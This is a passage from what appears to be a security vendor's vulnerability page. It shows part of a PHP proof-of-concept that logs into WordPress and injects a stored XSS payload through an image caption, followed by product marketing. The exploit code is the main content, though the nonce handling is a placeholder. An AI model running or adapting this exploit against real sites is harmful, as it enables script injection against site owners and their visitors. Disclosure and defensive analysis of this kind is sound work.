    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
$login_response = curl_exec($ch);

// Step 3: Navigate to media edit page for target image
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php?post=' . $image_id . '&action=edit');
curl_setopt($ch, CURLOPT_POST, false);
$media_edit_page = curl_exec($ch);

// Extract nonce for media update (simplified - real implementation would parse HTML)
// In actual exploitation, the attacker would use the media library interface directly
// This PoC shows the conceptual flow

// Step 4: Update image caption with XSS payload
$update_data = array(
    'post_ID' => $image_id,
    'post_excerpt' => $xss_payload, // Vulnerable parameter
    'action' => 'editpost',
    '_wpnonce' => 'extracted_nonce_here', // Would need actual nonce extraction
    '_wp_http_referer' => '/wp-admin/post.php?post=' . $image_id . '&action=edit'
);

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($update_data));
$update_response = curl_exec($ch);

// Step 5: Verify payload persists by viewing gallery
curl_setopt($ch, CURLOPT_URL, $target_url . '/?p=' . $gallery_post_id);
curl_setopt($ch, CURLOPT_POST, false);
$gallery_page = curl_exec($ch);

// Check if payload appears in page source
if (strpos($gallery_page, $xss_payload) !== false) {
    echo "[+] XSS payload successfully injected into gallery pagen";
    echo "[+] Visit: " . $target_url . "/?p=" . $gallery_post_id . " to trigger executionn";
} else {
    echo "[-] Payload injection may have failedn";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School